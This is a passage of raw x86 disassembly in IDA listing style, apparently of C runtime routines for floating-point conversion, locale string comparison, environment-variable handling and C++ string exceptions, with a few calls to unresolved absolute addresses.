sub_421EA1+90j ; sub_421EA1+98j ... mov [ebp+var_10], eax lea eax, [ebp+var_20] mov [ebp+var_4], eax mov [ebp+arg_4], 5 loc_421F61: ; CODE XREF: sub_421EA1+122j mov eax, [ebp+var_10] add eax, eax cmp [ebp+arg_4], 0 jle short loc_421FB5 add eax, esi lea ecx, [ebx+8] mov [ebp+var_8], eax mov eax, [ebp+arg_4] mov [ebp+var_C], ecx mov [ebp+var_18], eax loc_421F7D: ; CODE XREF: sub_421EA1+112j mov eax, [ebp+var_8] mov ecx, [ebp+var_C] movzx eax, word ptr [eax] movzx ecx, word ptr [ecx] imul eax, ecx mov ecx, [ebp+var_4] add ecx, 0FFFFFFFCh push ecx push eax push dword ptr [ecx] call sub_421337 add esp, 0Ch test eax, eax jz short loc_421FA8 mov eax, [ebp+var_4] inc word ptr [eax] loc_421FA8: ; CODE XREF: sub_421EA1+FFj add [ebp+var_8], 2 sub [ebp+var_C], 2 dec [ebp+var_18] jnz short loc_421F7D loc_421FB5: ; CODE XREF: sub_421EA1+C9j add [ebp+var_4], 2 inc [ebp+var_10] dec [ebp+arg_4] cmp [ebp+arg_4], 0 jg short loc_421F61 add [ebp+arg_0], 0C002h cmp word ptr [ebp+arg_0], 0 jle short loc_421FF8 loc_421FD3: ; CODE XREF: sub_421EA1+14Ej test byte ptr [ebp+var_1C+3], 80h jnz short loc_421FF1 lea eax, [ebp+var_24] push eax call sub_4213B6 add [ebp+arg_0], 0FFFFh pop ecx cmp word ptr [ebp+arg_0], 0 jg short loc_421FD3 loc_421FF1: ; CODE XREF: sub_421EA1+136j cmp word ptr [ebp+arg_0], 0 jg short loc_422031 loc_421FF8: ; CODE XREF: sub_421EA1+130j add [ebp+arg_0], 0FFFFh cmp word ptr [ebp+arg_0], 0 jge short loc_422031 movsx eax, word ptr [ebp+arg_0] neg eax add [ebp+arg_0], eax mov ebx, eax loc_422011: ; CODE XREF: sub_421EA1+184j test byte ptr [ebp+var_24], 1 jz short loc_42201A inc [ebp+var_14] loc_42201A: ; CODE XREF: sub_421EA1+174j lea eax, [ebp+var_24] push eax call sub_4213E4 dec ebx pop ecx jnz short loc_422011 cmp [ebp+var_14], 0 jz short loc_422031 or byte ptr [ebp+var_24], 1 loc_422031: ; CODE XREF: sub_421EA1+155j ; sub_421EA1+163j ... cmp word ptr [ebp+var_24], 8000h ja short loc_422048 mov eax, [ebp+var_24] and eax, 1FFFFh cmp eax, 18000h jnz short loc_42207D loc_422048: ; CODE XREF: sub_421EA1+196j cmp [ebp+var_24+2], 0FFFFFFFFh jnz short loc_42207A and [ebp+var_24+2], 0 cmp [ebp+var_20+2], 0FFFFFFFFh jnz short loc_422075 and [ebp+var_20+2], 0 cmp word ptr [ebp+var_1C+2], 0FFFFh jnz short loc_42206F inc [ebp+arg_0] mov word ptr [ebp+var_1C+2], 8000h jmp short loc_42207D ; --------------------------------------------------------------------------- loc_42206F: ; CODE XREF: sub_421EA1+1C1j inc word ptr [ebp+var_1C+2] jmp short loc_42207D ; --------------------------------------------------------------------------- loc_422075: ; CODE XREF: sub_421EA1+1B5j inc [ebp+var_20+2] jmp short loc_42207D ; --------------------------------------------------------------------------- loc_42207A: ; CODE XREF: sub_421EA1+1ABj inc [ebp+var_24+2] loc_42207D: ; CODE XREF: sub_421EA1+1A5j ; sub_421EA1+1CCj ... mov eax, [ebp+arg_0] cmp ax, 7FFFh jnb short loc_4220A1 mov cx, word ptr [ebp+var_24+2] or eax, edi mov [esi], cx mov ecx, [ebp+var_20] mov [esi+2], ecx mov ecx, [ebp+var_1C] mov [esi+6], ecx loc_42209B: ; CODE XREF: sub_421EA1+86j mov [esi+0Ah], ax jmp short loc_4220BC ; --------------------------------------------------------------------------- loc_4220A1: ; CODE XREF: sub_421EA1+42j ; sub_421EA1+4Dj ... neg di sbb edi, edi and dword ptr [esi+4], 0 and edi, 80000000h add edi, 7FFF8000h and dword ptr [esi], 0 mov [esi+8], edi loc_4220BC: ; CODE XREF: sub_421EA1+ABj ; sub_421EA1+1FEj pop edi pop esi pop ebx leave retn sub_421EA1 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4220C1 proc near ; CODE XREF: sub_4214D8+440p ; sub_4219A9+14Cp var_C = byte ptr -0Ch var_A = dword ptr -0Ah arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 0Ch push ebx mov ebx, offset dword_43C090 xor ecx, ecx sub ebx, 60h cmp [ebp+arg_4], ecx jz short loc_42213A jge short loc_4220E9 mov eax, [ebp+arg_4] mov ebx, offset dword_43C1F0 neg eax mov [ebp+arg_4], eax sub ebx, 60h loc_4220E9: ; CODE XREF: sub_4220C1+16j cmp [ebp+arg_8], ecx jnz short loc_4220F4 mov eax, [ebp+arg_0] mov [eax], cx loc_4220F4: ; CODE XREF: sub_4220C1+2Bj cmp [ebp+arg_4], ecx jz short loc_42213A push esi push edi loc_4220FB: ; CODE XREF: sub_4220C1+75j mov eax, [ebp+arg_4] add ebx, 54h sar [ebp+arg_4], 3 and eax, 7 cmp eax, ecx jz short loc_422133 lea eax, [eax+eax*2] cmp word ptr [ebx+eax*4], 8000h lea esi, [ebx+eax*4] jb short loc_422126 lea edi, [ebp+var_C] movsd movsd movsd dec [ebp+var_A] lea esi, [ebp+var_C] loc_422126: ; CODE XREF: sub_4220C1+57j push esi push [ebp+arg_0] call sub_421EA1 pop ecx pop ecx xor ecx, ecx loc_422133: ; CODE XREF: sub_4220C1+49j cmp [ebp+arg_4], ecx jnz short loc_4220FB pop edi pop esi loc_42213A: ; CODE XREF: sub_4220C1+14j ; sub_4220C1+36j pop ebx leave retn sub_4220C1 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42213D proc near ; CODE XREF: sub_421DAE+5Ep ; sub_422619+18p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp cmp [ebp+arg_8], 0 jnz short loc_42214A xor eax, eax pop ebp retn ; --------------------------------------------------------------------------- loc_42214A: ; CODE XREF: sub_42213D+7j push dword_48B444 push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_8] push [ebp+arg_0] push 1 push dword_48B664 call sub_4221EA add esp, 1Ch test eax, eax jnz short loc_422177 mov eax, 7FFFFFFFh pop ebp retn ; --------------------------------------------------------------------------- loc_422177: ; CODE XREF: sub_42213D+31j add eax, 0FFFFFFFEh pop ebp retn sub_42213D endp ; =============== S U B R O U T I N E ======================================= sub_42217C proc near ; CODE XREF: sub_421DAE+1Ep ; sub_422492+5Bp var_4 = dword ptr -4 push ecx push ebx push ebp push esi mov esi, dword_48A044 push edi xor edi, edi mov eax, [esi] cmp eax, edi jz short loc_4221DD mov ebx, dword_424150 loc_422195: ; CODE XREF: sub_42217C+5Fj push edi push edi push edi push edi push 0FFFFFFFFh push eax push edi push 1 call ebx mov ebp, eax cmp ebp, edi jz short loc_4221E5 push ebp call sub_417B89 cmp eax, edi pop ecx mov [esp+14h+var_4], eax jz short loc_4221E5 push edi push edi push ebp push eax push 0FFFFFFFFh push dword ptr [esi] push edi push 1 call ebx test eax, eax jz short loc_4221E5 push edi push [esp+18h+var_4] call sub_422492 mov eax, [esi+4] add esi, 4 pop ecx cmp eax, edi pop ecx jnz short loc_422195 loc_4221DD: ; CODE XREF: sub_42217C+11j xor eax, eax loc_4221DF: ; CODE XREF: sub_42217C+6Cj pop edi pop esi pop ebp pop ebx pop ecx retn ; --------------------------------------------------------------------------- loc_4221E5: ; CODE XREF: sub_42217C+29j ; sub_42217C+38j ... or eax, 0FFFFFFFFh jmp short loc_4221DF sub_42217C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4221EA proc near ; CODE XREF: sub_42213D+27p var_3C = dword ptr -3Ch var_36 = byte ptr -36h var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_424C88 push offset sub_41F774 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 30h push ebx push esi push edi mov [ebp+var_18], esp xor ebx, ebx cmp dword_48A300, ebx push 1 pop edi jnz short loc_42225D push edi mov eax, offset dword_4248D8 push eax push edi push eax push ebx push ebx nop call near ptr 25A0000h test eax, eax jz short loc_42223A mov dword_48A300, edi jmp short loc_42225D ; --------------------------------------------------------------------------- loc_42223A: ; CODE XREF: sub_4221EA+46j push edi mov eax, offset dword_43C824 push eax push edi push eax push ebx push ebx nop call near ptr 25A070Dh test eax, eax jz loc_422453 mov dword_48A300, 2 loc_42225D: ; CODE XREF: sub_4221EA+31j ; sub_4221EA+4Ej mov esi, [ebp+arg_C] cmp esi, ebx jle short loc_422274 push esi push [ebp+arg_8] call sub_422467 pop ecx pop ecx mov esi, eax mov [ebp+arg_C], esi loc_422274: ; CODE XREF: sub_4221EA+78j cmp [ebp+arg_14], ebx jle short loc_422289 push [ebp+arg_14] push [ebp+arg_10] call sub_422467 pop ecx pop ecx mov [ebp+arg_14], eax loc_422289: ; CODE XREF: sub_4221EA+8Dj mov eax, dword_48A300 cmp eax, 2 jnz short loc_4222AE push [ebp+arg_14] push [ebp+arg_10] push esi push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] nop call near ptr 25A070Dh jmp loc_422455 ; --------------------------------------------------------------------------- loc_4222AE: ; CODE XREF: sub_4221EA+A7j cmp eax, edi jnz loc_422453 cmp [ebp+arg_18], ebx jnz short loc_4222C3 mov eax, dword_48A0B8 mov [ebp+arg_18], eax loc_4222C3: ; CODE XREF: sub_4221EA+CFj cmp esi, ebx jz short loc_4222D0 cmp [ebp+arg_14], ebx jnz loc_422368 loc_4222D0: ; CODE XREF: sub_4221EA+DBj cmp esi, [ebp+arg_14] jnz short loc_4222DD loc_4222D5: ; CODE XREF: sub_4221EA+13Cj ; sub_4221EA+16Dj push 2 loc_4222D7: ; CODE XREF: sub_4221EA+146j pop eax jmp loc_422455 ; --------------------------------------------------------------------------- loc_4222DD: ; CODE XREF: sub_4221EA+E9j cmp [ebp+arg_14], edi jle short loc_4222E9 loc_4222E2: ; CODE XREF: sub_4221EA+151j ; sub_4221EA+159j ... mov eax, edi jmp loc_422455 ; --------------------------------------------------------------------------- loc_4222E9: ; CODE XREF: sub_4221EA+F6j cmp esi, edi jg short loc_42232E lea eax, [ebp+var_3C] push eax push [ebp+arg_18] nop call near ptr 287135Ch test eax, eax jz loc_422453 cmp esi, ebx jle short loc_422332 cmp [ebp+var_3C], 2 jb short loc_42232E lea eax, [ebp+var_36] cmp [ebp+var_36], bl jz short loc_42232E loc_422314: ; CODE XREF: sub_4221EA+142j mov dl, [eax+1] cmp dl, bl jz short loc_42232E mov ecx, [ebp+arg_8] mov cl, [ecx] cmp cl, [eax] jb short loc_422328 cmp cl, dl jbe short loc_4222D5 loc_422328: ; CODE XREF: sub_4221EA+138j inc eax inc eax cmp [eax], bl jnz short loc_422314 loc_42232E: ; CODE XREF: sub_4221EA+101j ; sub_4221EA+120j ... push 3 jmp short loc_4222D7 ; --------------------------------------------------------------------------- loc_422332: ; CODE XREF: sub_4221EA+11Aj cmp [ebp+arg_14], ebx jle short loc_422368 cmp [ebp+var_3C], 2 jb short loc_4222E2 lea eax, [ebp+var_36] cmp [ebp+var_36], bl jz short loc_4222E2 loc_422345: ; CODE XREF: sub_4221EA+177j mov dl, [eax+1] cmp dl, bl jz short loc_4222E2 mov ecx, [ebp+arg_10] mov cl, [ecx] cmp cl, [eax] jb short loc_42235D cmp cl, dl jbe loc_4222D5 loc_42235D: ; CODE XREF: sub_4221EA+169j inc eax inc eax cmp [eax], bl jnz short loc_422345 jmp loc_4222E2 ; --------------------------------------------------------------------------- loc_422368: ; CODE XREF: sub_4221EA+E0j ; sub_4221EA+14Bj push ebx push ebx push esi push [ebp+arg_8] push 9 push [ebp+arg_18] nop call near ptr 2620000h mov [ebp+var_1C], eax cmp eax, ebx jz loc_422453 mov [ebp+var_4], ebx add eax, eax add eax, 3 and al, 0FCh call sub_417B30 mov [ebp+var_18], esp mov eax, esp mov [ebp+var_24], eax or [ebp+var_4], 0FFFFFFFFh jmp short loc_4223B7 ; --------------------------------------------------------------------------- push 1 pop eax retn ; --------------------------------------------------------------------------- mov esp, [ebp+var_18] xor ebx, ebx mov [ebp+var_24], ebx or [ebp+var_4], 0FFFFFFFFh mov esi, [ebp+arg_C] push 1 pop edi loc_4223B7: ; CODE XREF: sub_4221EA+1B5j cmp [ebp+var_24], ebx jz loc_422453 push [ebp+var_1C] push [ebp+var_24] push esi push [ebp+arg_8] push edi push [ebp+arg_18] mov esi, dword_424070 call esi test eax, eax jz short loc_422453 push ebx push ebx push [ebp+arg_14] push [ebp+arg_10] push 9 push [ebp+arg_18] call esi mov esi, eax mov [ebp+var_20], esi cmp esi, ebx jz short loc_422453 mov [ebp+var_4], edi lea eax, [esi+esi] add eax, 3 and al, 0FCh call sub_417B30 mov [ebp+var_18], esp mov edi, esp mov [ebp+var_28], edi or [ebp+var_4], 0FFFFFFFFh jmp short loc_422422 ; --------------------------------------------------------------------------- push 1 pop eax retn ; --------------------------------------------------------------------------- mov esp, [ebp+var_18] xor ebx, ebx xor edi, edi or [ebp+var_4], 0FFFFFFFFh mov esi, [ebp+var_20] loc_422422: ; CODE XREF: sub_4221EA+224j cmp edi, ebx jz short loc_422453 push esi push edi push [ebp+arg_14] push [ebp+arg_10] push 1 push [ebp+arg_18] nop call near ptr 2620000h test eax, eax jz short loc_422453 push esi push edi push [ebp+var_1C] push [ebp+var_24] push [ebp+arg_4] push [ebp+arg_0] call near ptr 25A0000h nop jmp short loc_422455 ; --------------------------------------------------------------------------- loc_422453: ; CODE XREF: sub_4221EA+63j ; sub_4221EA+C6j ... xor eax, eax loc_422455: ; CODE XREF: sub_4221EA+BFj ; sub_4221EA+EEj ... lea esp, [ebp-4Ch] mov ecx, [ebp+var_10] mov large fs:0, ecx pop edi pop esi pop ebx leave retn sub_4221EA endp ; =============== S U B R O U T I N E ======================================= sub_422467 proc near ; CODE XREF: sub_41E709+81p ; sub_4221EA+7Ep ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov edx, [esp+arg_4] mov eax, [esp+arg_0] test edx, edx push esi lea ecx, [edx-1] jz short loc_422484 loc_422477: ; CODE XREF: sub_422467+1Bj cmp byte ptr [eax], 0 jz short loc_422484 inc eax mov esi, ecx dec ecx test esi, esi jnz short loc_422477 loc_422484: ; CODE XREF: sub_422467+Ej ; sub_422467+13j cmp byte ptr [eax], 0 pop esi jnz short loc_42248F sub eax, [esp+arg_0] retn ; --------------------------------------------------------------------------- loc_42248F: ; CODE XREF: sub_422467+21j mov eax, edx retn sub_422467 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_422492 proc near ; CODE XREF: sub_42217C+50p var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx push ecx push ebx push esi push edi xor edi, edi cmp [ebp+arg_0], edi jz short loc_4224F6 push 3Dh push [ebp+arg_0] call sub_4226D8 mov esi, eax pop ecx cmp esi, edi pop ecx mov [ebp+var_8], esi jz short loc_4224F6 cmp [ebp+arg_0], esi jz short loc_4224F6 mov eax, dword_48A03C xor ebx, ebx cmp [esi+1], bl setz bl cmp eax, dword_48A040 jnz short loc_4224DC push eax call sub_422671 pop ecx mov dword_48A03C, eax loc_4224DC: ; CODE XREF: sub_422492+3Cj cmp eax, edi jnz short loc_422534 cmp [ebp+arg_4], edi jz short loc_4224FE cmp dword_48A044, edi jz short loc_4224FE call sub_42217C test eax, eax jz short loc_422534 loc_4224F6: ; CODE XREF: sub_422492+Dj ; sub_422492+22j ... or eax, 0FFFFFFFFh loc_4224F9: ; CODE XREF: sub_422492+182j pop edi pop esi pop ebx leave retn ; --------------------------------------------------------------------------- loc_4224FE: ; CODE XREF: sub_422492+51j ; sub_422492+59j cmp ebx, edi jnz loc_422612 push 4 call sub_417B89 cmp eax, edi pop ecx mov dword_48A03C, eax jz short loc_4224F6 mov [eax], edi cmp dword_48A044, edi jnz short loc_422534 push 4 call sub_417B89 cmp eax, edi pop ecx mov dword_48A044, eax jz short loc_4224F6 mov [eax], edi loc_422534: ; CODE XREF: sub_422492+4Cj ; sub_422492+62j ... sub esi, [ebp+arg_0] mov edi, dword_48A03C mov [ebp+var_4], edi push esi push [ebp+arg_0] call sub_422619 mov esi, eax pop ecx test esi, esi pop ecx jl short loc_422594 cmp dword ptr [edi], 0 jz short loc_422594 test ebx, ebx jz short loc_42258C push dword ptr [edi+esi*4] lea edi, [edi+esi*4] call sub_417C3B pop ecx loc_422566: ; CODE XREF: sub_422492+E2j cmp dword ptr [edi], 0 jz short loc_422576 mov eax, [edi+4] inc esi mov [edi], eax add edi, 4 jmp short loc_422566 ; --------------------------------------------------------------------------- loc_422576: ; CODE XREF: sub_422492+D7j mov eax, esi shl eax, 2 push eax push [ebp+var_4] call sub_41944F pop ecx test eax, eax pop ecx jz short loc_4225C6 jmp short loc_4225C1 ; --------------------------------------------------------------------------- loc_42258C: ; CODE XREF: sub_422492+C6j mov eax, [ebp+arg_0] mov [edi+esi*4], eax jmp short loc_4225C6 ; --------------------------------------------------------------------------- loc_422594: ; CODE XREF: sub_422492+BDj ; sub_422492+C2j test ebx, ebx jnz short loc_422612 test esi, esi jge short loc_42259E neg esi loc_42259E: ; CODE XREF: sub_422492+108j lea eax, ds:8[esi*4] push eax push edi call sub_41944F pop ecx test eax, eax pop ecx jz loc_4224F6 mov ecx, [ebp+arg_0] mov [eax+esi*4], ecx and dword ptr [eax+esi*4+4], 0 loc_4225C1: ; CODE XREF: sub_422492+F8j mov dword_48A03C, eax loc_4225C6: ; CODE XREF: sub_422492+F6j ; sub_422492+100j cmp [ebp+arg_4], 0 jz short loc_422612 push [ebp+arg_0] call sub_417AB0 inc eax inc eax push eax call sub_417B89 mov esi, eax pop ecx test esi, esi pop ecx jz short loc_422612 push [ebp+arg_0] push esi call sub_4179C0 mov eax, esi pop ecx sub eax, [ebp+arg_0] pop ecx add eax, [ebp+var_8] and byte ptr [eax], 0 inc eax neg ebx sbb ebx, ebx not ebx and ebx, eax push ebx push esi nop call near ptr 259014Ah push esi call sub_417C3B pop ecx loc_422612: ; CODE XREF: sub_422492+6Ej ; sub_422492+104j ... xor eax, eax jmp loc_4224F9 sub_422492 endp ; =============== S U B R O U T I N E ======================================= sub_422619 proc near ; CODE XREF: sub_422492+B2p arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi mov esi, dword_48A03C push edi mov eax, [esi] test eax, eax jz short loc_422654 mov edi, [esp+8+arg_4] loc_42262B: ; CODE XREF: sub_422619+39j push edi push eax push [esp+10h+arg_0] call sub_42213D add esp, 0Ch test eax, eax jnz short loc_42264A mov eax, [esi] mov al, [eax+edi] cmp al, 3Dh jz short loc_422664 test al, al jz short loc_422664 loc_42264A: ; CODE XREF: sub_422619+22j mov eax, [esi+4] add esi, 4 test eax, eax jnz short loc_42262B loc_422654: ; CODE XREF: sub_422619+Cj mov eax, esi sub eax, dword_48A03C sar eax, 2 neg eax loc_422661: ; CODE XREF: sub_422619+56j pop edi pop esi retn ; --------------------------------------------------------------------------- loc_422664: ; CODE XREF: sub_422619+2Bj ; sub_422619+2Fj mov eax, esi sub eax, dword_48A03C sar eax, 2 jmp short loc_422661 sub_422619 endp ; =============== S U B R O U T I N E ======================================= sub_422671 proc near ; CODE XREF: sub_422492+3Fp arg_0 = dword ptr 4 push edi mov edi, [esp+4+arg_0] xor ecx, ecx test edi, edi jnz short loc_422680 xor eax, eax pop edi retn ; --------------------------------------------------------------------------- loc_422680: ; CODE XREF: sub_422671+9j cmp dword ptr [edi], 0 lea eax, [edi+4] jz short loc_422692 loc_422688: ; CODE XREF: sub_422671+1Fj mov edx, [eax] inc ecx add eax, 4 test edx, edx jnz short loc_422688 loc_422692: ; CODE XREF: sub_422671+15j push ebx push ebp lea eax, ds:4[ecx*4] push esi push eax call sub_417B89 mov esi, eax pop ecx test esi, esi mov ebp, esi jnz short loc_4226B3 push 9 call sub_419CDA pop ecx loc_4226B3: ; CODE XREF: sub_422671+38j mov eax, [edi] mov ebx, edi loc_4226B7: ; CODE XREF: sub_422671+5Bj test eax, eax jz short loc_4226CE push eax add ebx, 4 call sub_42274B mov [esi], eax mov eax, [ebx] pop ecx add esi, 4 jmp short loc_4226B7 ; --------------------------------------------------------------------------- loc_4226CE: ; CODE XREF: sub_422671+48j and dword ptr [esi], 0 mov eax, ebp pop esi pop ebp pop ebx pop edi retn sub_422671 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4226D8 proc near ; CODE XREF: sub_422492+14p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp cmp dword_48B45C, 0 jnz short loc_4226F3 push [ebp+arg_4] push [ebp+arg_0] call sub_418F50 pop ecx pop ecx pop ebp retn ; --------------------------------------------------------------------------- loc_4226F3: ; CODE XREF: sub_4226D8+Aj mov ecx, [ebp+arg_0] loc_4226F6: ; CODE XREF: sub_4226D8+56j movzx ax, byte ptr [ecx] test ax, ax jz short loc_422739 movzx edx, al test byte_48B561[edx], 4 jz short loc_422725 mov dl, [ecx+1] inc ecx test dl, dl jz short loc_422730 movzx eax, ax movzx edx, dl shl eax, 8 or eax, edx cmp [ebp+arg_4], eax jz short loc_422734 jmp short loc_42272D ; --------------------------------------------------------------------------- loc_422725: ; CODE XREF: sub_4226D8+31j movzx edx, ax cmp [ebp+arg_4], edx jz short loc_422739 loc_42272D: ; CODE XREF: sub_4226D8+4Bj inc ecx jmp short loc_4226F6 ; --------------------------------------------------------------------------- loc_422730: ; CODE XREF: sub_4226D8+39j xor eax, eax pop ebp retn ; --------------------------------------------------------------------------- loc_422734: ; CODE XREF: sub_4226D8+49j lea eax, [ecx-1] pop ebp retn ; --------------------------------------------------------------------------- loc_422739: ; CODE XREF: sub_4226D8+25j ; sub_4226D8+53j movzx edx, ax mov eax, [ebp+arg_4] sub eax, edx neg eax sbb eax, eax not eax and eax, ecx pop ebp retn sub_4226D8 endp ; =============== S U B R O U T I N E ======================================= sub_42274B proc near ; CODE XREF: sub_40A7D7+21p ; sub_422671+4Ep arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] test esi, esi jz short loc_422772 push esi call sub_417AB0 inc eax push eax call sub_417B89 pop ecx test eax, eax pop ecx jz short loc_422772 push esi push eax call sub_4179C0 pop ecx pop ecx pop esi retn ; --------------------------------------------------------------------------- loc_422772: ; CODE XREF: sub_42274B+7j ; sub_42274B+1Aj xor eax, eax pop esi retn sub_42274B endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_422780 proc near ; CODE XREF: sub_422863+19p ; sub_42298A+19p arg_0 = dword ptr 4 push esi push [esp+4+arg_0] mov esi, ecx xor eax, eax mov [esi+4], eax mov [esi+8], eax mov [esi+0Ch], eax call sub_417AB0 pop ecx push eax push [esp+8+arg_0] mov ecx, esi call sub_4046A3 mov eax, esi pop esi retn 8 sub_422780 endp ; =============== S U B R O U T I N E ======================================= sub_4227AA proc near ; CODE XREF: ___:004227D5p ; sub_422858+6j ... push esi mov esi, ecx push 1 lea ecx, [esi+0Ch] mov dword ptr [esi], offset off_424CA4 call sub_404667 mov ecx, esi pop esi jmp sub_422BA6 sub_4227AA endp ; =============== S U B R O U T I N E ======================================= sub_4227C5 proc near ; DATA XREF: ___:00424CA8o ; ___:00424CB8o ... mov eax, [ecx+10h] test eax, eax jnz short locret_4227D1 mov eax, offset dword_424290 locret_4227D1: ; CODE XREF: sub_4227C5+5j retn sub_4227C5 endp ; --------------------------------------------------------------------------- loc_4227D2: ; DATA XREF: ___:off_424CA4o push esi mov esi, ecx call sub_4227AA test byte ptr [esp+8], 1 jz short loc_4227E8 push esi call sub_4182AF pop ecx loc_4227E8: ; CODE XREF: ___:004227DFj mov eax, esi pop esi retn 4 ; =============== S U B R O U T I N E ======================================= sub_4227EE proc near ; CODE XREF: sub_422863+29p mov eax, offset loc_423122 call sub_418290 push ecx push ecx push esi lea eax, [ebp-10h] mov esi, ecx push eax mov [ebp-14h], esi mov dword ptr [ebp-10h], offset dword_424CC0 call sub_422B1F push dword ptr [ebp+8] and dword ptr [ebp-4], 0 lea ecx, [esi+0Ch] mov dword ptr [esi], offset off_424CA4 call sub_4228A0 mov ecx, [ebp-0Ch] mov dword ptr [esi], offset off_424CB4 mov eax, esi pop esi mov large fs:0, ecx leave retn 4 sub_4227EE endp ; =============== S U B R O U T I N E ======================================= sub_42283C proc near ; DATA XREF: ___:off_424CB4o arg_0 = byte ptr 4 push esi mov esi, ecx call sub_422858 test [esp+4+arg_0], 1 jz short loc_422852 push esi call sub_4182AF pop ecx loc_422852: ; CODE XREF: sub_42283C+Dj mov eax, esi pop esi retn 4 sub_42283C endp ; =============== S U B R O U T I N E ======================================= sub_422858 proc near ; CODE XREF: sub_42283C+3p ; DATA XREF: ___:0042502Co mov dword ptr [ecx], offset off_424CB4 jmp sub_4227AA sub_422858 endp ; =============== S U B R O U T I N E ======================================= sub_422863 proc near ; CODE XREF: sub_404514+13p ; sub_4046D8+Ep mov eax, offset loc_423134 call sub_418290 sub esp, 30h lea eax, [ebp-0Dh] push eax push offset aInvalidStringP ; "invalid string position" lea ecx, [ebp-20h] call sub_422780 and dword ptr [ebp-4], 0 lea eax, [ebp-20h] push eax lea ecx, [ebp-3Ch] call sub_4227EE push offset dword_425028 lea eax, [ebp-3Ch] push eax call sub_422BC9 int 3 ; Trap to Debugger sub_422863 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_4228A0 proc near ; CODE XREF: sub_4227EE+32p ; sub_4228C0+32p ... arg_0 = dword ptr 4 push esi xor eax, eax push 0FFFFFFFFh mov esi, ecx push eax push [esp+0Ch+arg_0] mov [esi+4], eax mov [esi+8], eax mov [esi+0Ch], eax call sub_404514 mov eax, esi pop esi retn 4 sub_4228A0 endp ; =============== S U B R O U T I N E ======================================= sub_4228C0 proc near ; CODE XREF: sub_42298A+29p mov eax, offset loc_423146 call sub_418290 push ecx push ecx push esi lea eax, [ebp-10h] mov esi, ecx push eax mov [ebp-14h], esi mov dword ptr [ebp-10h], offset dword_424CC0 call sub_422B1F push dword ptr [ebp+8] and dword ptr [ebp-4], 0 lea ecx, [esi+0Ch] mov dword ptr [esi], offset off_424CA4 call sub_4228A0 mov ecx, [ebp-0Ch] mov eax, esi pop esi mov large fs:0, ecx leave retn 4 sub_4228C0 endp ; =============== S U B R O U T I N E ======================================= sub_422908 proc near ; CODE XREF: sub_422972+7p ; sub_4229CE+7p ... mov eax, offset loc_423158 call sub_418290 push ecx push esi push edi mov edi, [ebp+8] mov esi, ecx push edi mov [ebp-10h], esi call sub_422B5C and dword ptr [ebp-4], 0 add edi, 0Ch push edi lea ecx, [esi+0Ch] mov dword ptr [esi], offset off_424CA4 call sub_4228A0 mov ecx, [ebp-0Ch] pop edi mov eax, esi pop esi mov large fs:0, ecx leave retn 4 sub_422908 endp ; =============== S U B R O U T I N E ======================================= sub_42294B proc near ; DATA XREF: ___:off_424CE0o arg_0 = byte ptr 4 push esi mov esi, ecx call sub_422967 test [esp+4+arg_0], 1 jz short loc_422961 push esi call sub_4182AF pop ecx loc_422961: ; CODE XREF: sub_42294B+Dj mov eax, esi pop esi retn 4 sub_42294B endp ; =============== S U B R O U T I N E ======================================= sub_422967 proc near ; CODE XREF: sub_42294B+3p ; DATA XREF: ___:004250D4o mov dword ptr [ecx], offset off_424CE0 jmp sub_4227AA sub_422967 endp ; =============== S U B R O U T I N E ======================================= sub_422972 proc near ; CODE XREF: sub_4229E6+46p arg_0 = dword ptr 4 push esi push [esp+4+arg_0] mov esi, ecx call sub_422908 mov dword ptr [esi], offset off_424CB4 mov eax, esi pop esi retn 4 sub_422972 endp ; =============== S U B R O U T I N E ======================================= sub_42298A proc near ; CODE XREF: sub_404464+15p ; sub_4044BD+15p ... mov eax, offset loc_42316A call sub_418290 sub esp, 30h lea eax, [ebp-0Dh] push eax push offset aStringTooLong ; "string too long" lea ecx, [ebp-20h] call sub_422780 and dword ptr [ebp-4], 0 lea eax, [ebp-20h] push eax lea ecx, [ebp-3Ch] call sub_4228C0 push offset dword_4250D0 lea eax, [ebp-3Ch] push eax mov dword ptr [ebp-3Ch], offset off_424CE0 call sub_422BC9 int 3 ; Trap to Debugger sub_42298A endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_4229CE proc near ; CODE XREF: sub_4229E6+28p arg_0 = dword ptr 4 push esi push [esp+4+arg_0] mov esi, ecx call sub_422908 mov dword ptr [esi], offset off_424CE0 mov eax, esi pop esi retn 4 sub_4229CE endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn bp-based frame sub_4229E6 proc near ; DATA XREF: ___:00424CACo var_1C = byte ptr -1Ch push ebp mov ebp, esp sub esp, 1Ch push ecx lea ecx, [ebp+var_1C] call sub_422908 push offset dword_425110 lea eax, [ebp+var_1C] push eax call sub_422BC9 int 3 ; Trap to Debugger loc_422A04: ; DATA XREF: ___:00424CE8o push ebp mov ebp, esp sub esp, 1Ch push ecx lea ecx, [ebp+var_1C] call sub_4229CE push offset dword_4250D0 lea eax, [ebp+var_1C] push eax call sub_422BC9 int 3 ; Trap to 